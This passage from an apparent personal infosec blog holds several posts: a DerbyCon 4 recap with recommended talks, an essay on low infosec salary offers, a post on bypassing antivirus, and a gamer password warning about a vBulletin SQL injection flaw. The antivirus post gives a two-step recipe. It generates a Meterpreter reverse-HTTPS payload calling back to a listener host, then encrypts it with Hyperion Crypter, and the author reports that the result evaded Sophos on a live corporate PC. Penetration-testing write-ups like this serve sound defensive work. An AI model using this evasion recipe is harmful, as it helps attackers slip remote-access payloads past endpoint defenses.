spied on. I ended up at the bar there but bailed before it got too late and somehow totally forgot to eat dinner. McAfee left shortly after his talk unfortunately but it was great seeing him and hearing him speak.

Like I said, the person running this thing seems cool. Most of the more technical security leaders I know weren't there. We should try to fix that going forward, this thing has potential if we can get the right people to start showing up by mixing a bunch of burbsec/chisec folks in.

DerbyCon 4 Recap

I'm a bit late but here it is anyway. DerbyCon was good overall this year and still is my new favorite security con. I must say I felt the talks were overall not as strong as the last two years and I didn't walk away with as many good pieces of data and ideas. A feeling I confirmed with several other people. But it was still good and it isn't clear how much of that is based on the talks that were selected, or that the talks in 2014 just aren't as good as a whole, or it is a bullshit feeling and we are building old DerbyCon's up in our mind. But like I said, still my favorite, and I still plan to go next year. On a side note I explored more of Louisville this year than the years past and I'm starting to really love that city.

All the videos can be found here:
http://www.irongeek.com/i.php?page=videos/derbycon4/mainlist

If you didn't get to go or missed some talks here are a few I liked:
Threat Modeling for Realz – Bruce Potter
Application Whitelisting: Be Careful Where The Silver Bullet Is Aimed – David McCartney
InfoSec – from the mouth of babes (or an 8 year old) – Reuben A. Paul (RAPstar) and Mano Paul
How to Secure and Sys Admin Windows like a Boss. – Jim Kennedy
Building a Modern Security Engineering Organization – Zane Lackey
Information Security Team Management: How to keep your edge while embracing the dark side – Stephen C Gay
RavenHID: Remote Badge Gathering -or- Why we sit in client bathrooms for hours – Lucas Morris – Adam Zamora
Building a Web Application Vulnerability Management Program – Jason Pubal

This list is far from complete, I haven't watched all the videos of talks I've missed and want to see yet. But it is taking a while and I wanted to get this out. So consider that list a starting point, there are a whole lot of good talks up there. Everyone should spend a few hours to watch the ones that applies to you the most.

So far I think the best piece of info I got was from Jason Pubal's talk that exposted me to ThreadFix. It was a pain for me to get it working on Debian but that is just because I'm too stubborn to use Windows I guess. I think that might be another blog post soon. But let me say, my developers already love the thing and I just got it working. If you have developers and have to give them scan data check this tool out.

Let me know what videos you think I should watch that I didn't link. I won't watch them all so let me know if you think I'm missing something cool.

"So how come we still see so many low ball salary offers?"

This morning I saw this on twitter from @mckeay:

We keep hearing about how desparate companies are to hire infosec professionals. So how come we still see so many low ball salary offers?
— Martin McKeay (@mckeay) September 5, 2014

I wanted to respond but it will take more words than Twitter allows, so here is my answer. Let's see how bad @hackerHuntress thinks I screwed this up.

There are two main reasons. Reason one, the company doesn't care about security, the role is for a compliance check box and to have someone to fire when they get breached. Reason two, some senior person in the company is out of touch and refuses to believe a security person makes more than a Windows Admin and/or the companies salary ranges are fixed and the culture is so messed up they can't change them easily.

My overall advice is to avoid companies that post InfoSec jobs and very low salary ranges. My more complicated advice is as follows:

If you really, really want a job you see posted but the salary is crazy low. Say you can walk to the office or something. Apply anyway and see if you can talk to someone and help them understand the market, what you currently make, what the job is worth, etc. If the company is stuck with reason two above the recruiter and hiring manager may know this and are collecting evidence to sell it to HR or the CIO or whoever to get the salary range adjusted. If that is the case and it works out for them and you helped them make their case you will likely get a call in for an interview once they get the salary range adjusted. But if that turns out not to be the case, don't take the job! I don't care how close to your house the company is. If it turns out to be reason one, you will hate the job and get nothing done. Then at some point something bad will happen because they refused to let you do your job or take your advice and you will be fired and replaced by someone else willing to work for a low salary. Not a good career move. Either way, if you try this route don't have your hopes up, this will rarely work out because of timing. It may take them 6 months or even a year before they get their act together and call you because they got the salary ranged increased.

There is one group of people who can take advantage of the reason one companies, and let's face it someone should. People who are looking to get into the InfoSec field and are making less money than the job is offering anyway. This is not the ideal way to break into InfoSec, far from it. My typical advice is get a job in IT if you haven't already and become the security focused person on your team. Become buddies with the security team, and then when a junior role opens up you will get it. But if that isn't working out for you and you are say stuck on the help desk team, taking a security manager role that pays half what is should for a year or so is an option. Spend that year teaching yourself about security since they don't care what you do anyway, and then get a real security engineer job someplace else by highlighting what you taught yourself and make your title on your resume manager/engineer or something like that. But be warned, if you stick around too long they will fire you when a breach happens. Any company that will hire a help desk person on the cheap to be their security manager has one goal with the role. To fire the person when something bad happens. So get out before that happens, and know you are risking that happening before you are ready.

Obfy,Hyperion Crypter, and bypassing AV

I've noticed for a while now that payloads made by obfy that are encrypted with Hyperion Crypter don't seem to work on my system. I figured I screwed up crypter on my VM. But that isn't it, something else is wrong, I think.

First let me say there is a new version of Hyperion Crypter, you should download it and compile and install it.

Now with that out of the way I'm testing Sophos right now. While obfy by itself seems to still bypass McAfee with no issues it doesn't get past Sophos and with the crypter part broken I needed to do something else. So I tried smbexec and it worked fine against Sophos and I noted that the payload was encrypted by crypter and it worked. Note the compile and install it link above for smbexec and crypter info if that is new to you. So that got me wondering. Next I made a simple payload:
msfpayload windows/meterpreter/reverse_https LHOST=10.1.1.1 LPORT=443 X >payload.exe
Then I ran crypter.exe on it:
cd /opt/crypter (crypter only seems to work while you are in the directory)
wine ./crypter.exe /root/payload.exe payloadc.exe

Payload.exe was picked up by Sohpos and will be by any AV program. But pyaloadc.exe worked fine and the shell worked. Simple as that. No viel framework, smbexec, encoding, magic or anything needed. msfpayload generated exe file ran though crypter.exe and Sohpos is fine with it. Two steps and easy (it should be noted this is the Sophos install I'm testing against which is a live corp PC and not managed/installed by me so it may or may not be everything they can do to detect payloads, configured well, etc).

This goes to show different AV bypassing techniques work better for different vendors and having many tools to pull from is your best option. That said, it annoys me why crypter.exe creates broken executables with obfy files but not msfpayload files and I don't know why or why it suddenly stopped working when I didn't change anything. I don't even know if this is a problem with everyone or just me.

If you use this tool and have feedback let me know. If I hear that it doesn't work for other people too and collectively we can't figure out why I will probably pull that option from the code. In reality the more powerful part of obfy is altering the ASM of just about any ASM file you feed into it quickly to save you the time of doing it manually. In that case it is still a nice supporting tool, and of course for the time being a bypass McAfee button for some strange reason. I expect that part to stop working, someday.

Change your password gamers

A quick note for all you online gamers out there. If you play online games, MMO's, etc and have for a while you probably have joined a fair number of online gaming boards over the years. Guild after guild most likely, plus alliance after alliance if you play EVE. A good number of those sites are running VBulletin software. If you game a lot you probably recognize a VBulletin site without even having to scroll down to the bottom and see the logo and are happy to see it and not a less friendly free forum site. Well there is a new SQLi attack for the 5.X branch of that software and the people who found it said they will release the code in the wild soon. The official announcement is here: http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4097503-security-patch-release-for-vbulletin-5-0-4-5-0-5-5-1-0-5-1-1-and-5-1-2

It should be noticed this isn't the first SQLi attack found in this software over the years. But I have a feeling this one is going to be used a lot so I'm giving this warning.

For those who don't know, a SQLi attack allows people to collect data from the database the site uses to store things like, say, your username and password. VBulletin by default stores passwords using an MD5 hash and a 3 character salt. If you don't know what that means, just know it means it is easy to crack and get your password, especially weak ones. No biggie right? Well ask yourself...

On any of these numerous sites you signed up to over the years (god help EVE players they probably can't even find all the old alliance ones), how easy it is for someone to find the game or games you play and the username you use to login with? If you are good your login name is nowhere on any of these sites for most games and your account names aren't the same or a single character off from them. Some games like ESO are idiotic and force you to tell everyone your login name however. If by chance you play ESO or one of your character's name is also your login name for a game and you give that name up in posts or signatures or profiles in forums all over the Internet, ask yourself this. Did you use the same password on one or more game forum that you use to login to the game with? If so, you are either going to spend some time changing passwords, or learn a life lesson the hard way when your account is banned for gold selling or something and when you finally get it unbanned you have nothing even your characters are deleted,

Think about it. You should never use game password on forum sites, ever, ever, ever. And changing 1 character at the end isn't clever enough not to get figured out btw.

So if you are freaking right now do this:

1. Stop using your character name as your login name where you can help it (ESO aside that was a bad move on their part)

2. Never use passwords for games on any other website

3. Go change all your game passwords

If you share passwords you likely don't have a system and/or password manager. Here is some final advice.

Come up with a system to help you remember passwords without sharing them. Like incorporating part of the same of the site into the password.

Use a password manager. Here are three I like:

LastPass: Web plugin cross platform. My current option due to the cross platform, free

KeePass: Good stand alone one for Windows, I found it annoying on the Mac, free

PINs: Good stand alone on for Windows, older now but still good and doesn't need an install. The password file and the exe is all you need and it works so it is 100% portable, but Windows only, free